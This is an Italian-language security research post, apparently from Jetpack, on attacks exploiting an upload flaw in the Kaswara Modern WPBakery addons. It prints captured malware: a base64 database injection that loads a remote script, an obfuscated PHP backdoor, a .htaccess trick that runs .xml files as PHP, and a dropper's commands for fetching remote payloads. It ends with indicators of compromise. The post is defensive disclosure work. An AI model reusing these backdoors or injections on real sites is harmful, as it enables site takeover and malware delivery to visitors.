Plugin aggiuntivo Kaswara Modern WPBakery Page Builder vulnerabile sfruttato in natura
Pubblicato: 2021-06-08Il 20 aprile 2021, i nostri amici di WPScan hanno segnalato una grave vulnerabilità sui componenti aggiuntivi di Kaswara Modern VC, noti anche come componenti aggiuntivi di Kaswara Modern WPBakery Page Builder. Non è più disponibile su Codecanyon/Envato, il che significa che se lo hai in esecuzione, devi scegliere un'alternativa.
Questa vulnerabilità consente agli utenti non autenticati di caricare file arbitrari nella directory delle icone del plug-in (./wp-content/uploads/kaswara/icons). Questo è il primo Indicator Of Compromise (IOC) che i nostri amici di WPScan hanno condiviso con noi nel loro rapporto.
La possibilità di caricare file arbitrari su un sito Web offre al malintenzionato il pieno controllo sul sito, il che rende difficile definire il carico utile finale di questa infezione; quindi, ti mostreremo tutto ciò che abbiamo trovato finora (ci siamo lasciati un po' trasportare dalla ricerca, quindi sentiti libero di saltare alla sezione del CIO se non vuoi leggere fino in fondo).
Iniezione di database, app Android false e altre backdoor
Grazie al nostro amico Denis Siegubko di Sucuri per aver sottolineato il seguito dell'iniezione di database utilizzato con questo attacco.
I malintenzionati aggiornerebbero l'opzione "kaswara-customJS" per aggiungere uno snippet arbitrario dannoso di codice Javascript. Ecco un esempio che abbiamo trovato:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Questa stringa codificata in base64 si traduce in:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
E come di solito accade con questo tipo di script, caricherà a catena una serie di altri frammenti di codice Javascript e il payload finale sarà un malvertising o un exploit kit. Questo è molto simile a quanto riportato da Wordfence qui.
In questo caso, lo script sta morendo su hxxp://double-clickd[.]com/ e non carica alcun contenuto dannoso. Ho trovato Javascript sospetto che chiama questo sito dall'inizio del 2020 e le persone lo hanno già bloccato dal 2018.
App false caricate sul sito
Le 40 app Android trovate sui siti Web che abbiamo esaminato erano versioni false di diverse app, come AliPay, PayPal, Correos, DHL e molte altre, che fortunatamente sono state rilevate dai fornitori di antivirus più popolari secondo questa analisi di VirusTotal.

Non ho verificato le intenzioni dell'app, ma una rapida revisione delle autorizzazioni richieste può darci un'idea di cosa potrebbe fare:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- Android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- Android.permission.INTERNET
- Android.permission.SEND_SMS
- Android.permission.CALL_PHONE
- Android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Tuttavia, questi file non vengono caricati immediatamente utilizzando l'exploit Kaswara. Dopo che il sito è stato compromesso, gli aggressori caricheranno prima altri strumenti per controllare completamente il sito.
File caricati
Alcune backdoor e altri malware sono stati trovati anche su siti Web compromessi da questa vulnerabilità. Condividerò una rapida analisi di quelli più popolari e interessanti in questo post. Tuttavia, voglio prima concentrarmi su quello più complesso.
Reindirizzamento e app false
Le App false che ho trovato su diversi siti compromessi non sono state caricate sfruttando la vulnerabilità di Kaswara. Vengono caricati sul sito utilizzando uno strumento di hacking multifunzione, che consente all'attaccante di caricare del codice remoto (fornendo un URL o una stringa) e reindirizzare l'utente a un sito dannoso.
Il file può essere facilmente identificato dalla presenza di questa stringa: base64_decode('MTIz');error_reporting(0);
funzione
È interessante notare che randomizza tutto il resto tranne questo.
Il malware è su una singola riga, che è anche un IOC interessante se stai cercando questo tipo di anomalia del codice.

Per facilitare la comprensione, ho decodificato la maggior parte del codice, rinominato le funzioni interessanti e abbellito il codice. Il malware include 6 diverse funzioni e 5 di esse si basano sui valori passati alla variabile $_GET['ts']
. Per questo documento, consideriamo una delle tante istanze che ho trovato: c.php
.

/c.php?ts=kt
Questo non fa nulla e forzerà il sito a restituire un errore 500 (più avanti nel codice).
/c.php?ts=1
Modifica il valore del flag $q1a
in true per eseguire una convalida del codice e inviare un messaggio OK all'attaccante.
In questo caso il sito remoto risponde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Codice"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Scrive un file sul server con il codice fornito dal contenuto di $_GET["v"]
purché $_GET["p"]
sia il checksum SHA1 di 123 (ricordate che il primo IOC di base64_decode('MTIz')
? questo è quel checksum).

/c.php?ts=tt
Scrive 5 MB di "-" sul server, probabilmente utilizzato per verificare se la funzione di caricamento funzionerà sul server.

/c.php?ts=dwm&h=HASH1,HASH2
Quando il malware riceve questa richiesta, esegue un test per verificare se i file caricati sono stati scritti correttamente sul server. I loro hash MD5 devono essere conosciuti e vengono inviati alla variabile $_GET['h']
come valori separati da virgole.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Scarica un file da una serie di siti Web di terze parti e lo salva sul server nominandolo dopo gli ultimi 12 caratteri dell'md5 del file scaricato.
Questa è la funzione utilizzata per caricare app false sul server.
Ecco un esempio della richiesta di download di file dannosi /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Reindirizzamento dell'accesso
Se è stata selezionata l'opzione kt
o nessuna opzione, il codice procede al reindirizzamento, che si ottiene richiedendo un BLOB JSON con i dati necessari. Quindi procede a reindirizzare il visitatore utilizzando la funzione di intestazione.

La risposta è così: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
La funzione per eseguire una richiesta cURL con i parametri necessari è questa: Niente di speciale...
E può essere tradotto in questa richiesta cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
L'URL finale è, per quanto ho potuto testare, casuale, ma condivide la stessa caratteristica di essere una pagina falsa per un servizio o un'app popolare.

wp-content/uploads/kaswara/icons/16/javas.xml e wp-content/uploads/kaswara/icons/16/.htaccess
Un file XML di solito non è contrassegnato come una potenziale minaccia, ma in questo caso abbiamo un file .htaccess appositamente predisposto che cambia il modo in cui lo vede il server web:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
In effetti, dice ad Apache di interpretare qualsiasi file javas, home o menu con xml, php o pdf come un file PHP da elaborare di conseguenza ed eseguire. Quindi, uno qualsiasi di quei file presenti nella stessa struttura di directory di questo .htaccess sarà sospetto.

Il file javas.xml è lo stesso di altri file dannosi caricati sul sito. Ho scoperto che la differenza è che alcuni hanno una o due righe vuote alla fine del file, il che rende l'hashing tradizionale un po' più complicato.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Il codice dannoso viene offuscato utilizzando stringhe codificate str_rot13 e base64. Utilizza anche valori esadecimali e operazioni matematiche per nascondere un po' di più le stringhe. Il payload finale è sconosciuto poiché creerà una funzione basata sui valori di una richiesta POST. Tuttavia, il carico utile sembra essere lo stesso ogni volta poiché si basa su un controllo md5 prima di crearlo (c42ea979ed982c02632430e9e98a66d6 è l'hash md5).
Conclusione
Poiché si tratta di una campagna attiva, al momento della stesura di questo post stiamo riscontrando sempre più diversi esempi di malware rilasciati nei siti interessati. Alcuni sono solo variazioni di ciò che abbiamo qui, mentre altri sono abbastanza interessanti per un'analisi più approfondita. Cerca alcuni post più piccoli in arrivo per esplorare alcuni di questi altri esempi.
Ciò illustra l'importanza di aggiornare le estensioni con le ultime correzioni di sicurezza; se gli sviluppatori non rilasciano le correzioni in modo tempestivo o viene rimosso dal repository di WordPress.org (o da altri mercati), ti consigliamo vivamente di trovare un'alternativa più sicura.
Se sei preoccupato per il malware e la vulnerabilità del tuo sito, dai un'occhiata alle funzionalità di sicurezza di Jetpack. Jetpack Security offre una sicurezza del sito WordPress completa e facile da usare, inclusi backup, scansione malware e protezione antispam.
Indicatori di compromesso
Qui trovi l'elenco completo di tutti i CIO che abbiamo identificato:
Hash (SHA-1) | Il percorso | Descrizione della minaccia |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | App Android falsa |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | App Android falsa |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | App Android falsa |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | App Android falsa |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cfr | App Android falsa |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | App Android falsa |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | App Android falsa |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | App Android falsa |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | App Android falsa |
423d83a87a3833440f6b8109677795876b83b7a90 | ./34b0ea9d688e | App Android falsa |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | App Android falsa |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | App Android falsa |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | App Android falsa |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | App Android falsa |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | App Android falsa |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | App Android falsa |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | App Android falsa |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | App Android falsa |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | App Android falsa |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | App Android falsa |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | App Android falsa |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | App Android falsa |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | App Android falsa |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | App Android falsa |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | App Android falsa |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | App Android falsa |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | App Android falsa |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | App Android falsa |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | App Android falsa |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | App Android falsa |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | App Android falsa |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | App Android falsa |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | App Android falsa |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | App Android falsa |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | App Android falsa |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | App Android falsa |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | App Android falsa |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | App Android falsa |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | App Android falsa |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | App Android falsa |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Malware caduto |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Malware caduto |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Caricatore di file PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Malware caduto |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware per l'esecuzione di codice in remoto |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Malware caduto |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Malware caduto |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Malware caduto |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Malware caduto |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Malware caduto |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Malware caduto |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Malware caduto |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Malware caduto |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware per l'esecuzione di codice in remoto |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Malware caduto |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php o ./wp-content/uploads/xeh02b.php | Malware caduto |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Malware caduto |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware per l'esecuzione di codice in remoto |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Malware caduto |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware per l'esecuzione di codice in remoto | |
– | smurfetta.ru | Dominio dannoso |
http://papass.ru | Dominio dannoso |